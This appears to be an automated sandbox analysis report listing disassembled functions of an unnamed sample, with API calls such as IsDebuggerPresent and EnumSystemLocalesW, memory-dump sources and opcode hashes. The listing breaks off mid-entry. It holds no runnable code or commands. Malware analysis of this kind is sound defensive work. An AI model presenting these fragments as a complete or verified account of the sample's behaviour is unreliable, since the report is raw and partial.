
Yara matches

Similarity

API ID:
String ID: ``C$x`C$H_$H_
API String ID: 0-3846265785
Opcode ID: 4639c864b91f6e9cc3f469510a2f9944f86d2f54ec5b532889058d1e4e41c286
Instruction ID: f130f3eb494936f8217163ac8f435ba3463dbd2ce091c4c5613b54aed93639f7
Opcode Fuzzy Hash: 4639c864b91f6e9cc3f469510a2f9944f86d2f54ec5b532889058d1e4e41c286
Instruction Fuzzy Hash: 6D51D27290051ADBEB18CF58D4816F977B1FFC4304F2A84BAC94AEF286EB745905CB54

Function 005C9D24 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 005C173A: GetLastError.KERNEL32(?,00000000,005BE08F,?,?,?,?,00000003,005BB5D5,?,005BB544,00000000,00000016,005BB753), ref: 005C173E
Part of subcall function 005C173A: SetLastError.KERNEL32(00000000,00000016,005BB753,?,?,?,?,?,00000000), ref: 005C17E0

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 005C9D78
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 005C9DC2
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 005C9E88

Memory Dump Source

Source File: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: d4b218c33f6ae1c97c1d735fb7d690de0ccaebf9bb7c47642cd27b9d635c8f0e
Instruction ID: 5d9a589aafbb7f1f7650552ca0b762812fd5cb970f7c322a6cf5fa5e619cc021
Opcode Fuzzy Hash: d4b218c33f6ae1c97c1d735fb7d690de0ccaebf9bb7c47642cd27b9d635c8f0e
Instruction Fuzzy Hash: EC618E715006079FEB29DFA8CC8AFBABBA8FF14300F14406DE909D6285E774DA45DB50

Function 005BB5D6 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 005BB6CE
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 005BB6D8
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000000), ref: 005BB6E5

Memory Dump Source

Source File: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: dad3f206464964c19113b38c5f3c21c1c7ca4948879a213949efb6263d417ee3
Instruction ID: 3711929ac3181acd4a9a8774acffd94fd05b1bb35de4d49dcda312d7b7027491
Opcode Fuzzy Hash: dad3f206464964c19113b38c5f3c21c1c7ca4948879a213949efb6263d417ee3
Instruction Fuzzy Hash: 7A31B27590122D9BCB21DF68D989BDCBBB8FF58310F5041EAE40CA6250EB74AF858F45

Function 005F445D Relevance: 2.9, Strings: 2, Instructions: 440COMMON

Download Yara Rule

Strings

UT, xrefs: 005F4788
H_, xrefs: 005F4510

Memory Dump Source

Source File: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: UT$H_
API String ID: 0-321724834
Opcode ID: e0872cb26255705f7d48561bd0d36eae2ccbb937a8561f5ea2d9795a88105742
Instruction ID: 96e41599b873fe2601d38da55bd203b289b5275b115b1f0db0b3aaa91a952f06
Opcode Fuzzy Hash: e0872cb26255705f7d48561bd0d36eae2ccbb937a8561f5ea2d9795a88105742
Instruction Fuzzy Hash: 12027EB190026D8BDF21DF64C8847AFBBB5BF45304F1444EADA49AB246D7388E84CF95

Function 005C6615 Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,?,?,?,005C6610,?,?,?,?,?,?,00000000), ref: 005C6842

Memory Dump Source

Source File: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 3cb2c91be67101ee7cbe74b7b55ba577a5c360b82722e2e4d79daeb2254e57c5
Instruction ID: 9ffe39527cd4c098ceb7de75ad89c6cd94cd4450a22cc075d9e7b28f3e8d461f
Opcode Fuzzy Hash: 3cb2c91be67101ee7cbe74b7b55ba577a5c360b82722e2e4d79daeb2254e57c5
Instruction Fuzzy Hash: 3BB117356106059FDB19CF68C48AF647BE0FB45368F25865CE89ACF2A1C335EA92CB40

Function 005C9F77 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 005C173A: GetLastError.KERNEL32(?,00000000,005BE08F,?,?,?,?,00000003,005BB5D5,?,005BB544,00000000,00000016,005BB753), ref: 005C173E
Part of subcall function 005C173A: SetLastError.KERNEL32(00000000,00000016,005BB753,?,?,?,?,?,00000000), ref: 005C17E0

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 005C9FCB

Memory Dump Source

Source File: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 435e9b173a21da9aec56c1b79e64ef0fff4543b086fa396a92d862a658371191
Instruction ID: 5b59e593588606f830c23b6aff9d7cbeeb78ff49e64bc4e2fe8746f851394feb
Opcode Fuzzy Hash: 435e9b173a21da9aec56c1b79e64ef0fff4543b086fa396a92d862a658371191
Instruction Fuzzy Hash: 3F21AF7261120AAFDF289BA4DC4AFBB7FA8FB45358B10407EF901E6241EB34ED448751

Function 005C9BFE Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 005C173A: GetLastError.KERNEL32(?,00000000,005BE08F,?,?,?,?,00000003,005BB5D5,?,005BB544,00000000,00000016,005BB753), ref: 005C173E
Part of subcall function 005C173A: SetLastError.KERNEL32(00000000,00000016,005BB753,?,?,?,?,?,00000000), ref: 005C17E0

EnumSystemLocalesW.KERNEL32(005C9D24,00000001,00000000,?,-00000050,?,005CA355,00000000,?,?,?,00000055,?), ref: 005C9C70

Memory Dump Source

Source File: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: a1bca36a6a158b497c9fd6d71049cd5f4078df32e82b9796bae4a4dd8f387115
Instruction ID: a5adb18134efcdd8442534bda9275ea130af4336de67da981b9fd2715af9cbe1
Opcode Fuzzy Hash: a1bca36a6a158b497c9fd6d71049cd5f4078df32e82b9796bae4a4dd8f387115
Instruction Fuzzy Hash: FE11E53A2047059FDB189F79C899ABABBE1FF80368B15442DE98787A40D775BD42C740

Function 005CA1A6 Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 005C173A: GetLastError.KERNEL32(?,00000000,005BE08F,?,?,?,?,00000003,005BB5D5,?,005BB544,00000000,00000016,005BB753), ref: 005C173E
Part of subcall function 005C173A: SetLastError.KERNEL32(00000000,00000016,005BB753,?,?,?,?,?,00000000), ref: 005C17E0

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,005C9F40,00000000,00000000,?), ref: 005CA1D2

Memory Dump Source

Source File: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: c69980831af3eb7872faa61668c49027c8ed63204f93701104017f1b88bcd866
Instruction ID: 2dc6cee74fb5d18af6415bb33f051323bd9090abab3f1f9c25068ee4264b8993
Opcode Fuzzy Hash: c69980831af3eb7872faa61668c49027c8ed63204f93701104017f1b88bcd866
Instruction Fuzzy Hash: 6EF0F93A54012AAFDB2456E5884AFBA7F68FB40358F14442DEC13A3180EA71FE41C591

Function 005C9C99 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 005C173A: GetLastError.KERNEL32(?,00000000,005BE08F,?,?,?,?,00000003,005BB5D5,?,005BB544,00000000,00000016,005BB753), ref: 005C173E
Part of subcall function 005C173A: SetLastError.KERNEL32(00000000,00000016,005BB753,?,?,?,?,?,00000000), ref: 005C17E0

EnumSystemLocalesW.KERNEL32(005C9F77,00000001,?,?,-00000050,?,005CA319,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 005C9CE3

Memory Dump Source

Source File: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: a4d80cbd0d92b3a4a5705ef437e3c21452af2fe8ea9f2958a62bac40fb24677f
Instruction ID: 8873bdcbbebdf889c757aa714118942bf5257f66ec8b97a7182b458c98e26b7b
Opcode Fuzzy Hash: a4d80cbd0d92b3a4a5705ef437e3c21452af2fe8ea9f2958a62bac40fb24677f
Instruction Fuzzy Hash: 23F0F63A2007045FDB145FB99CCAF7A7FE5FF81768B05442CF9068BA90C6B1AC42C650

Function 005C1A32 Relevance: 1.5, APIs: 1, Instructions: 33COMMON

Download Yara Rule

APIs

Part of subcall function 005BB924: EnterCriticalSection.KERNEL32(-00639EB8,?,005BE41A,00000000,005D6800,0000000C,005BE3E1,?,?,005C2166,?,?,005C18D8,00000001,00000364,00000000), ref: 005BB933

EnumSystemLocalesW.KERNEL32(Function_00011A25,00000001,005D69D0,0000000C,005C1DD8,?), ref: 005C1A6A

Memory Dump Source

Source File: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 2216ad141d479969bad20178998c042158f63eee7273b29212fa107ac3459380
Instruction ID: aa04edc8048b8deb207e428cd63a8982d8bf878f58ba6fcf8d1fd3991a209f4a
Opcode Fuzzy Hash: 2216ad141d479969bad20178998c042158f63eee7273b29212fa107ac3459380
Instruction Fuzzy Hash: 0DF01432A00205DFE710DF98E84ABAD7BA0FB89720F10812AF514AB3A1DBB559049B81

Function 005C9BB3 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 005C173A: GetLastError.KERNEL32(?,00000000,005BE08F,?,?,?,?,00000003,005BB5D5,?,005BB544,00000000,00000016,005BB753), ref: 005C173E
Part of subcall function 005C173A: SetLastError.KERNEL32(00000000,00000016,005BB753,?,?,?,?,?,00000000), ref: 005C17E0

EnumSystemLocalesW.KERNEL32(005C9B0C,00000001,?,?,?,005CA377,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 005C9BEA

Memory Dump Source

Source File: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: c32795a9d0f5e6f0c9081ea31aaea0851380b92a4859ab67292e034c7b7418e2
Instruction ID: 298fbd754a43920da5ec4f0dcb6a372f3d9ee767bd2df2c95a02b867b5a46d79
Opcode Fuzzy Hash: c32795a9d0f5e6f0c9081ea31aaea0851380b92a4859ab67292e034c7b7418e2
Instruction Fuzzy Hash: 4FF0A7393002056BDB049B79D859B667F94FBC1724B46405CEA058B251D6759C43C794

Function 005C1EDC Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,005C030C,?,20001004,00000000,00000002,?,?,005BF90E), ref: 005C1F10

Memory Dump Source

Source File: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 9b3dd541be39934936c1321c1e5b303e61dd2b19d6556f25095e6e78becf201b
Instruction ID: f28ece27993246e060836af84573b4f2b08c397d55b725c1af035a501456ee29
Opcode Fuzzy Hash: 9b3dd541be39934936c1321c1e5b303e61dd2b19d6556f25095e6e78becf201b
Instruction Fuzzy Hash: 8CE01A31900918BFCB222FA1DC0DF9E7E26FF45760F048019F80565162DBB18D21AAE9

Function 005B7942 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0000794E,005B6DDD), ref: 005B7947

Memory Dump Source

Source File: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 7f829da7ba8dacfad4e84db2984499cf8f9189b5f576fb3889dd6f9e0f1e77b5
Instruction ID: 091000d9e6577d8062d7f86b9abd0cebe291e69ad045dd0e89d5a899375138a2
Opcode Fuzzy Hash: 7f829da7ba8dacfad4e84db2984499cf8f9189b5f576fb3889dd6f9e0f1e77b5
Instruction Fuzzy Hash:

Function 005B1E05 Relevance: 1.4, Strings: 1, Instructions: 156COMMON

Download Yara Rule

Strings

Z81xbyuAua, xrefs: 005B1F27

Memory Dump Source

Source File: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Z81xbyuAua
API String ID: 0-3121583705
Opcode ID: 35f32f58b4638d4942cad760a0be8fccd85a30d772968b58e4466380593b9c47
Instruction ID: 540342ee9bd66b55c3a36e1b8dc1e8ff7b543ac672b21091202616cfabb343b1
Opcode Fuzzy Hash: 35f32f58b4638d4942cad760a0be8fccd85a30d772968b58e4466380593b9c47
Instruction Fuzzy Hash: 0241F876E2052B5BCB4CEEB8C8560EBBF69EB46310B54423ADD10DB391E234DA01CAD4

Function 005CA4D7 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 005CA4D7

Memory Dump Source

Source File: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 44a813297b716c5a79f3abbbc21da10beb03f1c30ddc6b7a4f67921463af0eb6
Instruction ID: e5b128a7d42c9faf314cef2ea9704c96c2e9b3a8e78f714d2647fe446e7682f1
Opcode Fuzzy Hash: 44a813297b716c5a79f3abbbc21da10beb03f1c30ddc6b7a4f67921463af0eb6
Instruction Fuzzy Hash: 31A001B06026418F97508F76AF0AA093BEEAA6A69174A5069A489C5160EA389464BA42

Function 00604D26 Relevance: .5, Instructions: 489COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 640bf8eae2d78ad77c4c4812c82337757702f6639c51110261f3c9d00c87b92d
Instruction ID: 95905b06d7833ca2de9b4e31ace9f60070ff7c1e86dc3f848c45682272792251
Opcode Fuzzy Hash: 640bf8eae2d78ad77c4c4812c82337757702f6639c51110261f3c9d00c87b92d
Instruction Fuzzy Hash: B1028F33D8AAF24BCF794EB944902677AA25E0164031F86E9DDC13F3D7C612DD169AE0

Function 00605D13 Relevance: .4, Instructions: 355COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f02dcea883d10451d84a59732baab65edb0b568fbd8ca007beb23fa60eef1400
Instruction ID: 12aa63d8bb0ef134c348e5890cb29b56c722a3889b7396c5863d551370e25881
Opcode Fuzzy Hash: f02dcea883d10451d84a59732baab65edb0b568fbd8ca007beb23fa60eef1400
Instruction Fuzzy Hash: D4C15E73D9B9F205CB3A862D481827BEA636E82B4131BC3D5DCD13F3CAC6266D1199D0

Function 0060592B Relevance: .3, Instructions: 349COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c69e47d847606dd43a020a10b245ffd8c98205713db3c8f796c6159738d0b06
Instruction ID: ef81f49099ae046ace748af7e121c9bd5189814cbb8ec7f796587b34ecd9fb45
Opcode Fuzzy Hash: 0c69e47d847606dd43a020a10b245ffd8c98205713db3c8f796c6159738d0b06
Instruction Fuzzy Hash: 00C15073D8B9F249DB39852D085827BEA636E92B4131BC3D5DCD13F3CAC2266D059AD0

Function 00605559 Relevance: .3, Instructions: 332COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
